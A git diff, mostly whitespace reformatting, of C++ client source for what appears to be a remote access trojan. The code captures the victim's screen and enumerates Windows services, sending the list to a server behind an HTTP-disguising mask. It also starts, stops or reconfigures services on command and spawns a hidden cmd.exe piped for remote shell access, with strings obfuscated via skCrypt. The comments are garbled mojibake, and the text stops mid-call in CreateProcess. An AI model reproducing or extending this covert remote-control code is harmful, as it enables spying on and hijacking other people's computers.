"ScreenCapture.h" -class EnumHwndsPrintData { +class EnumHwndsPrintData +{ public: - EnumHwndsPrintData() { - memset(this, 0, sizeof(EnumHwndsPrintData)); - } - void Create(HDC desktop, int _x, int _y, int w, int h) { - x = _x; - y = _y; - width = GetSystemMetrics(SM_CXVIRTUALSCREEN); - height = GetSystemMetrics(SM_CYVIRTUALSCREEN); - hDcWindow = CreateCompatibleDC(desktop); - hBmpWindow = CreateCompatibleBitmap(desktop, width, height); - } - EnumHwndsPrintData& SetScreenDC(HDC dc) { - hDcScreen = dc; - return *this; - } - ~EnumHwndsPrintData() { - if (hDcWindow) DeleteDC(hDcWindow); - hDcWindow = nullptr; - if (hBmpWindow)DeleteObject(hBmpWindow); - hBmpWindow = nullptr; - } - HDC GetWindowDC() const { - return hDcWindow; - } - HDC GetScreenDC() const { - return hDcScreen; - } - HBITMAP GetWindowBmp() const { - return hBmpWindow; - } - int X() const { - return x; - } - int Y() const { - return y; - } - int Width()const { - return width; - } - int Height()const { - return height; - } + EnumHwndsPrintData() + { + memset(this, 0, sizeof(EnumHwndsPrintData)); + } + void Create(HDC desktop, int _x, int _y, int w, int h) + { + x = _x; + y = _y; + width = GetSystemMetrics(SM_CXVIRTUALSCREEN); + height = GetSystemMetrics(SM_CYVIRTUALSCREEN); + hDcWindow = CreateCompatibleDC(desktop); + hBmpWindow = CreateCompatibleBitmap(desktop, width, height); + } + EnumHwndsPrintData& SetScreenDC(HDC dc) + { + hDcScreen = dc; + return *this; + } + ~EnumHwndsPrintData() + { + if (hDcWindow) DeleteDC(hDcWindow); + hDcWindow = nullptr; + if (hBmpWindow)DeleteObject(hBmpWindow); + hBmpWindow = nullptr; + } + HDC GetWindowDC() const + { + return hDcWindow; + } + HDC GetScreenDC() const + { + return hDcScreen; + } + HBITMAP GetWindowBmp() const + { + return hBmpWindow; + } + int X() const + { + return x; + } + int Y() const + { + return y; + } + int Width()const + { + return width; + } + int Height()const + { + return height; + } private: - HDC hDcWindow; - HDC hDcScreen; - HBITMAP hBmpWindow; - int x; - int y; - int width; - int height; + HDC hDcWindow; + HDC hDcScreen; + HBITMAP hBmpWindow; + int x; + int y; + int width; + int height; }; class CScreenSpy : public ScreenCapture { protected: - HDC m_hDeskTopDC; // Ļ - HDC m_hFullMemDC; // һ - HDC m_hDiffMemDC; // - HBITMAP m_BitmapHandle; // һ֡λͼ - HBITMAP m_DiffBitmapHandle; // ֡λͼ - PVOID m_BitmapData_Full; // ǰλͼ - PVOID m_DiffBitmapData_Full; // λͼ + HDC m_hDeskTopDC; // Ļ + HDC m_hFullMemDC; // һ + HDC m_hDiffMemDC; // + HBITMAP m_BitmapHandle; // һ֡λͼ + HBITMAP m_DiffBitmapHandle; // ֡λͼ + PVOID m_BitmapData_Full; // ǰλͼ + PVOID m_DiffBitmapData_Full; // λͼ - BOOL m_bVirtualPaint;// Ƿ - EnumHwndsPrintData m_data; + BOOL m_bVirtualPaint;// Ƿ + EnumHwndsPrintData m_data; public: - CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE); + CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE); - virtual ~CScreenSpy(); + virtual ~CScreenSpy(); - int GetWidth()const { - return m_ulFullWidth; - } + int GetWidth()const + { + return m_ulFullWidth; + } - int GetHeight() const { - return m_ulFullHeight; - } + int GetHeight() const + { + return m_ulFullHeight; + } - bool IsZoomed() const { - return m_bZoomed; - } + bool IsZoomed() const + { + return m_bZoomed; + } - double GetWZoom() const { - return m_wZoom; - } + double GetWZoom() const + { + return m_wZoom; + } - double GetHZoom() const { - return m_hZoom; - } + double GetHZoom() const + { + return m_hZoom; + } - const LPBITMAPINFO& GetBIData() const - { - return m_BitmapInfor_Full; - } + const LPBITMAPINFO& GetBIData() const + { + return m_BitmapInfor_Full; + } - ULONG GetFirstScreenLength() const - { - return m_BitmapInfor_Full->bmiHeader.biSizeImage; - } + ULONG GetFirstScreenLength() const + { + return m_BitmapInfor_Full->bmiHeader.biSizeImage; + } - static BOOL PaintWindow(HWND hWnd, EnumHwndsPrintData* data) - { - if (!IsWindowVisible(hWnd) || IsIconic(hWnd)) - return TRUE; + static BOOL PaintWindow(HWND hWnd, EnumHwndsPrintData* data) + { + if (!IsWindowVisible(hWnd) || IsIconic(hWnd)) + return TRUE; - RECT rect; - if (!GetWindowRect(hWnd, &rect)) - return FALSE; + RECT rect; + if (!GetWindowRect(hWnd, &rect)) + return FALSE; - HDC hDcWindow = data->GetWindowDC(); - HBITMAP hOldBmp = (HBITMAP)SelectObject(hDcWindow, data->GetWindowBmp()); - BOOL ret = FALSE; - if (PrintWindow(hWnd, hDcWindow, PW_RENDERFULLCONTENT) || SendMessageTimeout(hWnd, WM_PRINT, - (WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL)) { - BitBlt(data->GetScreenDC(), rect.left - data->X(), rect.top - data->Y(), - rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY); + HDC hDcWindow = data->GetWindowDC(); + HBITMAP hOldBmp = (HBITMAP)SelectObject(hDcWindow, data->GetWindowBmp()); + BOOL ret = FALSE; + if (PrintWindow(hWnd, hDcWindow, PW_RENDERFULLCONTENT) || SendMessageTimeout(hWnd, WM_PRINT, + (WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL)) { + BitBlt(data->GetScreenDC(), rect.left - data->X(), rect.top - data->Y(), + rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY); - ret = TRUE; - } - SelectObject(hDcWindow, hOldBmp); + ret = TRUE; + } + SelectObject(hDcWindow, hOldBmp); - return ret; - } + return ret; + } - static int EnumWindowsTopToDown(HWND owner, WNDENUMPROC proc, LPARAM param) - { - HWND currentWindow = GetTopWindow(owner); - if (currentWindow == NULL) - return -1; - if ((currentWindow = GetWindow(currentWindow, GW_HWNDLAST)) == NULL) - return -2; - while (proc(currentWindow, param) && (currentWindow = GetWindow(currentWindow, GW_HWNDPREV)) != NULL); - return 0; - } + static int EnumWindowsTopToDown(HWND owner, WNDENUMPROC proc, LPARAM param) + { + HWND currentWindow = GetTopWindow(owner); + if (currentWindow == NULL) + return -1; + if ((currentWindow = GetWindow(currentWindow, GW_HWNDLAST)) == NULL) + return -2; + while (proc(currentWindow, param) && (currentWindow = GetWindow(currentWindow, GW_HWNDPREV)) != NULL); + return 0; + } - static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam) - { - AUTO_TICK_C(100); - if (FALSE == PaintWindow(hWnd, (EnumHwndsPrintData*)lParam)) { - char text[_MAX_PATH] = {}; - GetWindowText(hWnd, text, sizeof(text)); - Mprintf("PaintWindow %s[%p] failed!!!\n", text, hWnd); - } + static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam) + { + AUTO_TICK_C(100); + if (FALSE == PaintWindow(hWnd, (EnumHwndsPrintData*)lParam)) { + char text[_MAX_PATH] = {}; + GetWindowText(hWnd, text, sizeof(text)); + Mprintf("PaintWindow %s[%p] failed!!!\n", text, hWnd); + } - static OSVERSIONINFOA versionInfo = { sizeof(OSVERSIONINFOA) }; - static BOOL result = GetVersionExA(&versionInfo); - if (versionInfo.dwMajorVersion < 6) { - DWORD style = GetWindowLongA(hWnd, GWL_EXSTYLE); - SetWindowLongA(hWnd, GWL_EXSTYLE, style | WS_EX_COMPOSITED); - EnumWindowsTopToDown(hWnd, EnumHwndsPrint, lParam); - } + static OSVERSIONINFOA versionInfo = { sizeof(OSVERSIONINFOA) }; + static BOOL result = GetVersionExA(&versionInfo); + if (versionInfo.dwMajorVersion < 6) { + DWORD style = GetWindowLongA(hWnd, GWL_EXSTYLE); + SetWindowLongA(hWnd, GWL_EXSTYLE, style | WS_EX_COMPOSITED); + EnumWindowsTopToDown(hWnd, EnumHwndsPrint, lParam); + } - return TRUE; - } + return TRUE; + } - virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength); + virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength); - virtual LPBYTE ScanNextScreen() { - ScanScreen(m_hDiffMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight); - return (LPBYTE)m_DiffBitmapData_Full; - } + virtual LPBYTE ScanNextScreen() + { + ScanScreen(m_hDiffMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight); + return (LPBYTE)m_DiffBitmapData_Full; + } - VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight); + VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight); }; #endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_) diff --git a/client/ServicesManager.cpp b/client/ServicesManager.cpp index deaf6c0..9919bd3 100644 --- a/client/ServicesManager.cpp +++ b/client/ServicesManager.cpp @@ -12,7 +12,7 @@ CServicesManager::CServicesManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { - SendServicesList(); + SendServicesList(); } CServicesManager::~CServicesManager() @@ -22,12 +22,12 @@ CServicesManager::~CServicesManager() VOID CServicesManager::SendServicesList() { - LPBYTE szBuffer = GetServicesList(); - if (szBuffer == NULL) - return; - HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); - m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask); - LocalFree(szBuffer); + LPBYTE szBuffer = GetServicesList(); + if (szBuffer == NULL) + return; + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask); + LocalFree(szBuffer); } #ifndef skCrypt @@ -36,285 +36,267 @@ VOID CServicesManager::SendServicesList() LPBYTE CServicesManager::GetServicesList() { - LPENUM_SERVICE_STATUS ServicesStatus = NULL; - LPQUERY_SERVICE_CONFIG ServicesInfor = NULL; - LPBYTE szBuffer = NULL; - char szRunWay[256] = {0}; - char szAutoRun[256] = {0}; - DWORD dwLength = 0; - DWORD dwOffset = 0; - if((m_hscManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL) - { - return NULL; - } + LPENUM_SERVICE_STATUS ServicesStatus = NULL; + LPQUERY_SERVICE_CONFIG ServicesInfor = NULL; + LPBYTE szBuffer = NULL; + char szRunWay[256] = {0}; + char szAutoRun[256] = {0}; + DWORD dwLength = 0; + DWORD dwOffset = 0; + if((m_hscManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL) { + return NULL; + } - ServicesStatus = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR,64*1024); + ServicesStatus = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR,64*1024); - if (ServicesStatus==NULL) - { - CloseServiceHandle(m_hscManager); - return NULL; - } + if (ServicesStatus==NULL) { + CloseServiceHandle(m_hscManager); + return NULL; + } - DWORD dwNeedsBytes = 0; - DWORD dwServicesCount = 0; - DWORD dwResumeHandle = 0; - EnumServicesStatus(m_hscManager, - SERVICE_WIN32, //CTL_FIX - SERVICE_STATE_ALL, - (LPENUM_SERVICE_STATUS)ServicesStatus, - 64 * 1024, - &dwNeedsBytes, - &dwServicesCount, - &dwResumeHandle); + DWORD dwNeedsBytes = 0; + DWORD dwServicesCount = 0; + DWORD dwResumeHandle = 0; + EnumServicesStatus(m_hscManager, + SERVICE_WIN32, //CTL_FIX + SERVICE_STATE_ALL, + (LPENUM_SERVICE_STATUS)ServicesStatus, + 64 * 1024, + &dwNeedsBytes, + &dwServicesCount, + &dwResumeHandle); - szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH); - if (szBuffer == NULL) - return NULL; - szBuffer[0] = TOKEN_SERVERLIST; - dwOffset = 1; - for (unsigned long i = 0; i < dwServicesCount; ++i) // Display The Services,ʾеķ - { - SC_HANDLE hServices = NULL; - DWORD nResumeHandle = 0; + szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH); + if (szBuffer == NULL) + return NULL; + szBuffer[0] = TOKEN_SERVERLIST; + dwOffset = 1; + for (unsigned long i = 0; i < dwServicesCount; ++i) { // Display The Services,ʾеķ + SC_HANDLE hServices = NULL; + DWORD nResumeHandle = 0; - hServices=OpenService(m_hscManager,ServicesStatus[i].lpServiceName, - SERVICE_ALL_ACCESS); + hServices=OpenService(m_hscManager,ServicesStatus[i].lpServiceName, + SERVICE_ALL_ACCESS); - if (hServices==NULL) - { - continue; - } + if (hServices==NULL) { + continue; + } - ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024); - if (ServicesInfor == NULL) - continue; - QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle); - //ѯ + ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024); + if (ServicesInfor == NULL) + continue; + QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle); + //ѯ - ZeroMemory(szRunWay, sizeof(szRunWay)); - switch (ServicesStatus[i].ServiceStatus.dwCurrentState) { - case SERVICE_STOPPED: { - lstrcatA(szRunWay, skCrypt("ֹͣ")); - break; - } - case SERVICE_START_PENDING: { - lstrcatA(szRunWay, skCrypt("")); - break; - } - case SERVICE_STOP_PENDING: { - lstrcatA(szRunWay, skCrypt("ֹͣ")); - break; - } - case SERVICE_RUNNING: { - lstrcatA(szRunWay, skCrypt("")); - break; - } - case SERVICE_CONTINUE_PENDING: { - lstrcatA(szRunWay, skCrypt("")); - break; - } - case SERVICE_PAUSE_PENDING: { - lstrcatA(szRunWay, skCrypt("ͣ")); - break; - } - case SERVICE_PAUSED: { - lstrcatA(szRunWay, skCrypt("ͣ")); - break; - } - default: { - lstrcatA(szRunWay, skCrypt("δ֪")); - break; - } - } + ZeroMemory(szRunWay, sizeof(szRunWay)); + switch (ServicesStatus[i].ServiceStatus.dwCurrentState) { + case SERVICE_STOPPED: { + lstrcatA(szRunWay, skCrypt("ֹͣ")); + break; + } + case SERVICE_START_PENDING: { + lstrcatA(szRunWay, skCrypt("")); + break; + } + case SERVICE_STOP_PENDING: { + lstrcatA(szRunWay, skCrypt("ֹͣ")); + break; + } + case SERVICE_RUNNING: { + lstrcatA(szRunWay, skCrypt("")); + break; + } + case SERVICE_CONTINUE_PENDING: { + lstrcatA(szRunWay, skCrypt("")); + break; + } + case SERVICE_PAUSE_PENDING: { + lstrcatA(szRunWay, skCrypt("ͣ")); + break; + } + case SERVICE_PAUSED: { + lstrcatA(szRunWay, skCrypt("ͣ")); + break; + } + default: { + lstrcatA(szRunWay, skCrypt("δ֪")); + break; + } + } - ZeroMemory(szAutoRun, sizeof(szAutoRun)); - switch (ServicesInfor->dwStartType) { - case SERVICE_BOOT_START: { - lstrcatA(szAutoRun, skCrypt("ں")); - break; - } - case SERVICE_SYSTEM_START: { - lstrcatA(szAutoRun, skCrypt("ϵͳ")); - break; - } - case SERVICE_AUTO_START: { - lstrcatA(szAutoRun, skCrypt("Զ")); - break; - } - case SERVICE_DEMAND_START: { - lstrcatA(szAutoRun, skCrypt("ֶ")); - break; - } - case SERVICE_DISABLED: { - lstrcatA(szAutoRun, skCrypt("")); - break; - } - default: { - lstrcatA(szAutoRun, skCrypt("δ֪")); - break; - } - } + ZeroMemory(szAutoRun, sizeof(szAutoRun)); + switch (ServicesInfor->dwStartType) { + case SERVICE_BOOT_START: { + lstrcatA(szAutoRun, skCrypt("ں")); + break; + } + case SERVICE_SYSTEM_START: { + lstrcatA(szAutoRun, skCrypt("ϵͳ")); + break; + } + case SERVICE_AUTO_START: { + lstrcatA(szAutoRun, skCrypt("Զ")); + break; + } + case SERVICE_DEMAND_START: { + lstrcatA(szAutoRun, skCrypt("ֶ")); + break; + } + case SERVICE_DISABLED: { + lstrcatA(szAutoRun, skCrypt("")); + break; + } + default: { + lstrcatA(szAutoRun, skCrypt("δ֪")); + break; + } + } - dwLength = sizeof(DWORD) + lstrlen(ServicesStatus[i].lpDisplayName) - + lstrlen(ServicesInfor->lpBinaryPathName) + lstrlen(ServicesStatus[i].lpServiceName) - + lstrlen(szRunWay) + lstrlen(szAutoRun) + 1; - // ̫С· - if (LocalSize(szBuffer) < (dwOffset + dwLength)) - szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength), - LMEM_ZEROINIT|LMEM_MOVEABLE); - if (szBuffer == NULL) - continue; - memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName, - lstrlen(ServicesStatus[i].lpDisplayName) + 1); - dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//ʵ + dwLength = sizeof(DWORD) + lstrlen(ServicesStatus[i].lpDisplayName) + + lstrlen(ServicesInfor->lpBinaryPathName) + lstrlen(ServicesStatus[i].lpServiceName) + + lstrlen(szRunWay) + lstrlen(szAutoRun) + 1; + // ̫С· + if (LocalSize(szBuffer) < (dwOffset + dwLength)) + szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength), + LMEM_ZEROINIT|LMEM_MOVEABLE); + if (szBuffer == NULL) + continue; + memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName, + lstrlen(ServicesStatus[i].lpDisplayName) + 1); + dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//ʵ - memcpy(szBuffer + dwOffset, ServicesStatus[i].lpServiceName, lstrlen(ServicesStatus[i].lpServiceName) + 1); - dwOffset += lstrlen(ServicesStatus[i].lpServiceName) + 1;//ʾ + memcpy(szBuffer + dwOffset, ServicesStatus[i].lpServiceName, lstrlen(ServicesStatus[i].lpServiceName) + 1); + dwOffset += lstrlen(ServicesStatus[i].lpServiceName) + 1;//ʾ - memcpy(szBuffer + dwOffset, ServicesInfor->lpBinaryPathName, lstrlen(ServicesInfor->lpBinaryPathName) + 1); - dwOffset += lstrlen(ServicesInfor->lpBinaryPathName) + 1;//· + memcpy(szBuffer + dwOffset, ServicesInfor->lpBinaryPathName, lstrlen(ServicesInfor->lpBinaryPathName) + 1); + dwOffset += lstrlen(ServicesInfor->lpBinaryPathName) + 1;//· - memcpy(szBuffer + dwOffset, szRunWay, lstrlen(szRunWay) + 1);//״̬ - dwOffset += lstrlen(szRunWay) + 1; + memcpy(szBuffer + dwOffset, szRunWay, lstrlen(szRunWay) + 1);//״̬ + dwOffset += lstrlen(szRunWay) + 1; - memcpy(szBuffer + dwOffset, szAutoRun, lstrlen(szAutoRun) + 1);//״̬ - dwOffset += lstrlen(szAutoRun) + 1; + memcpy(szBuffer + dwOffset, szAutoRun, lstrlen(szAutoRun) + 1);//״̬ + dwOffset += lstrlen(szAutoRun) + 1; - CloseServiceHandle(hServices); - LocalFree(ServicesInfor); //Config - } + CloseServiceHandle(hServices); + LocalFree(ServicesInfor); //Config + } - CloseServiceHandle(m_hscManager); + CloseServiceHandle(m_hscManager); - LocalFree(ServicesStatus); + LocalFree(ServicesStatus); - return szBuffer; + return szBuffer; } VOID CServicesManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { - switch (szBuffer[0]) - { - case COMMAND_SERVICELIST: - SendServicesList(); - break; - case COMMAND_SERVICECONFIG: // - ServicesConfig((LPBYTE)szBuffer + 1, ulLength - 1); - break; - default: - break; - } + switch (szBuffer[0]) { + case COMMAND_SERVICELIST: + SendServicesList(); + break; + case COMMAND_SERVICECONFIG: // + ServicesConfig((LPBYTE)szBuffer + 1, ulLength - 1); + break; + default: + break; + } } void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength) { - BYTE bCommand = szBuffer[0]; - char *szServiceName = (char *)(szBuffer+1); + BYTE bCommand = szBuffer[0]; + char *szServiceName = (char *)(szBuffer+1); - switch(bCommand) - { - case 1: //start - { - SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_ALL_ACCESS); - if (NULL != hSCManager) - { - SC_HANDLE hService = OpenService(hSCManager, - szServiceName, SERVICE_ALL_ACCESS); - if ( NULL != hService ) - { - StartService(hService, NULL, NULL); - CloseServiceHandle( hService ); - } - CloseServiceHandle(hSCManager); - } - Sleep(500); - SendServicesList(); - } - break; + switch(bCommand) { + case 1: { //start + SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_ALL_ACCESS); + if (NULL != hSCManager) { + SC_HANDLE hService = OpenService(hSCManager, + szServiceName, SERVICE_ALL_ACCESS); + if ( NULL != hService ) { + StartService(hService, NULL, NULL); + CloseServiceHandle( hService ); + } + CloseServiceHandle(hSCManager); + } + Sleep(500); + SendServicesList(); + } + break; - case 2: //stop - { - SC_HANDLE hSCManager = - OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); //SC_MANAGER_CREATE_SERVICE - if ( NULL != hSCManager) - { - SC_HANDLE hService = OpenService(hSCManager, - szServiceName, SERVICE_ALL_ACCESS); - if ( NULL != hService ) - { - SERVICE_STATUS Status; - BOOL bOk = ControlService(hService,SERVICE_CONTROL_STOP,&Status); + case 2: { //stop + SC_HANDLE hSCManager = + OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); //SC_MANAGER_CREATE_SERVICE + if ( NULL != hSCManager) { + SC_HANDLE hService = OpenService(hSCManager, + szServiceName, SERVICE_ALL_ACCESS); + if ( NULL != hService ) { + SERVICE_STATUS Status; + BOOL bOk = ControlService(hService,SERVICE_CONTROL_STOP,&Status); - CloseServiceHandle(hService); - } - CloseServiceHandle(hSCManager); - } - Sleep(500); - SendServicesList(); - } - break; - case 3: //auto - { - SC_HANDLE hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); - if ( NULL != hSCManager ) - { - SC_HANDLE hService = OpenService(hSCManager, szServiceName, - SERVICE_ALL_ACCESS); - if ( NULL != hService ) - { - SC_LOCK sclLock=LockServiceDatabase(hSCManager); - BOOL bOk = ChangeServiceConfig( - hService, - SERVICE_NO_CHANGE, - SERVICE_AUTO_START, - SERVICE_NO_CHANGE, - NULL, - NULL, - NULL, - NULL, - NULL, - NULL, - NULL); - UnlockServiceDatabase(sclLock); - CloseServiceHandle(hService); - } - CloseServiceHandle(hSCManager); - } - Sleep(500); - SendServicesList(); - } - break; - case 4: // DEMAND_START - { - SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE ); - if ( NULL != hSCManager ) - { - SC_HANDLE hService = OpenService(hSCManager, szServiceName, SERVICE_ALL_ACCESS); - if ( NULL != hService ) - { - SC_LOCK sclLock = LockServiceDatabase(hSCManager); - BOOL bOK = ChangeServiceConfig( - hService, - SERVICE_NO_CHANGE, - SERVICE_DEMAND_START, - SERVICE_NO_CHANGE, - NULL, - NULL, - NULL, - NULL, - NULL, - NULL, - NULL); - UnlockServiceDatabase(sclLock); - CloseServiceHandle(hService ); - } - CloseServiceHandle( hSCManager); - } - Sleep(500); - SendServicesList(); - } - default: - break; - } + CloseServiceHandle(hService); + } + CloseServiceHandle(hSCManager); + } + Sleep(500); + SendServicesList(); + } + break; + case 3: { //auto + SC_HANDLE hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); + if ( NULL != hSCManager ) { + SC_HANDLE hService = OpenService(hSCManager, szServiceName, + SERVICE_ALL_ACCESS); + if ( NULL != hService ) { + SC_LOCK sclLock=LockServiceDatabase(hSCManager); + BOOL bOk = ChangeServiceConfig( + hService, + SERVICE_NO_CHANGE, + SERVICE_AUTO_START, + SERVICE_NO_CHANGE, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL); + UnlockServiceDatabase(sclLock); + CloseServiceHandle(hService); + } + CloseServiceHandle(hSCManager); + } + Sleep(500); + SendServicesList(); + } + break; + case 4: { // DEMAND_START + SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE ); + if ( NULL != hSCManager ) { + SC_HANDLE hService = OpenService(hSCManager, szServiceName, SERVICE_ALL_ACCESS); + if ( NULL != hService ) { + SC_LOCK sclLock = LockServiceDatabase(hSCManager); + BOOL bOK = ChangeServiceConfig( + hService, + SERVICE_NO_CHANGE, + SERVICE_DEMAND_START, + SERVICE_NO_CHANGE, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL); + UnlockServiceDatabase(sclLock); + CloseServiceHandle(hService ); + } + CloseServiceHandle( hSCManager); + } + Sleep(500); + SendServicesList(); + } + default: + break; + } } diff --git a/client/ServicesManager.h b/client/ServicesManager.h index 02ccde1..047ba82 100644 --- a/client/ServicesManager.h +++ b/client/ServicesManager.h @@ -11,16 +11,16 @@ #include "Manager.h" -class CServicesManager : public CManager +class CServicesManager : public CManager { public: - CServicesManager(IOCPClient* ClientObject, int n, void* user = nullptr); - virtual ~CServicesManager(); - VOID SendServicesList(); - LPBYTE GetServicesList(); - VOID OnReceive(PBYTE szBuffer, ULONG ulLength); - void ServicesConfig(PBYTE szBuffer, ULONG ulLength); - SC_HANDLE m_hscManager; + CServicesManager(IOCPClient* ClientObject, int n, void* user = nullptr); + virtual ~CServicesManager(); + VOID SendServicesList(); + LPBYTE GetServicesList(); + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + void ServicesConfig(PBYTE szBuffer, ULONG ulLength); + SC_HANDLE m_hscManager; }; #endif // !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_) diff --git a/client/ShellManager.cpp b/client/ShellManager.cpp index d51fb5f..f20da27 100644 --- a/client/ShellManager.cpp +++ b/client/ShellManager.cpp @@ -13,189 +13,176 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { - m_nCmdLength = 0; - m_bStarting = TRUE; - m_hThreadRead = NULL; - m_hShellProcessHandle = NULL; //Cmd̵Ľ̾߳̾ - m_hShellThreadHandle = NULL; - SECURITY_ATTRIBUTES sa = {0}; - sa.nLength = sizeof(sa); - sa.lpSecurityDescriptor = NULL; - sa.bInheritHandle = TRUE; //Ҫ - m_hReadPipeHandle = NULL; //client - m_hWritePipeHandle = NULL; //client - m_hReadPipeShell = NULL; //cmd - m_hWritePipeShell = NULL; //cmd - //ܵ - if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0)) - { - if(m_hReadPipeHandle != NULL) - { - CloseHandle(m_hReadPipeHandle); - m_hReadPipeHandle = NULL; - } - if(m_hWritePipeShell != NULL) - { - CloseHandle(m_hWritePipeShell); - m_hWritePipeShell = NULL; - } - return; - } + m_nCmdLength = 0; + m_bStarting = TRUE; + m_hThreadRead = NULL; + m_hShellProcessHandle = NULL; //Cmd̵Ľ̾߳̾ + m_hShellThreadHandle = NULL; + SECURITY_ATTRIBUTES sa = {0}; + sa.nLength = sizeof(sa); + sa.lpSecurityDescriptor = NULL; + sa.bInheritHandle = TRUE; //Ҫ + m_hReadPipeHandle = NULL; //client + m_hWritePipeHandle = NULL; //client + m_hReadPipeShell = NULL; //cmd + m_hWritePipeShell = NULL; //cmd + //ܵ + if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0)) { + if(m_hReadPipeHandle != NULL) { + CloseHandle(m_hReadPipeHandle); + m_hReadPipeHandle = NULL; + } + if(m_hWritePipeShell != NULL) { + CloseHandle(m_hWritePipeShell); + m_hWritePipeShell = NULL; + } + return; + } - if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0)) - { - if(m_hWritePipeHandle != NULL) - { - CloseHandle(m_hWritePipeHandle); - m_hWritePipeHandle = NULL; - } - if(m_hReadPipeShell != NULL) - { - CloseHandle(m_hReadPipeShell); - m_hReadPipeShell = NULL; - } - return; - } + if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0)) { + if(m_hWritePipeHandle != NULL) { + CloseHandle(m_hWritePipeHandle); + m_hWritePipeHandle = NULL; + } + if(m_hReadPipeShell != NULL) { + CloseHandle(m_hReadPipeShell); + m_hReadPipeShell = NULL; + } + return; + } - //Cmd FullPath - char strShellPath[MAX_PATH] = {0}; - GetSystemDirectory(strShellPath, MAX_PATH); //C:\windows\system32 - //C:\windows\system32\cmd.exe - strcat(strShellPath,"\\cmd.exe"); + //Cmd FullPath + char strShellPath[MAX_PATH] = {0}; + GetSystemDirectory(strShellPath, MAX_PATH); //C:\windows\system32 + //C:\windows\system32\cmd.exe + strcat(strShellPath,"\\cmd.exe"); - //1 Cmd Input Output Ҫ͹ܵӦ - //2 Cmd Hide + //1 Cmd Input Output Ҫ͹ܵӦ + //2 Cmd Hide - STARTUPINFO si = {0}; - PROCESS_INFORMATION pi = {0}; //CreateProcess + STARTUPINFO si = {0}; + PROCESS_INFORMATION pi = {0}; //CreateProcess - memset((void *)&si, 0, sizeof(si)); - memset((void *)&pi, 0, sizeof(pi)); + memset((void *)&si, 0, sizeof(si)); + memset((void *)&pi, 0, sizeof(pi)); - si.cb = sizeof(STARTUPINFO); //Ҫ + si.cb = sizeof(STARTUPINFO); //Ҫ - si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; - si.hStdInput = m_hReadPipeShell; //ֵܵ - si.hStdOutput = si.hStdError = m_hWritePipeShell; + si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; + si.hStdInput = m_hReadPipeShell; //ֵܵ + si.hStdOutput = si.hStdError = m_hWritePipeShell; - si.wShowWindow = SW_HIDE; + si.wShowWindow = SW_HIDE; - //Cmd - //3 ̳ + //Cmd + //3 ̳ - if (!CreateProcess(strShellPath, 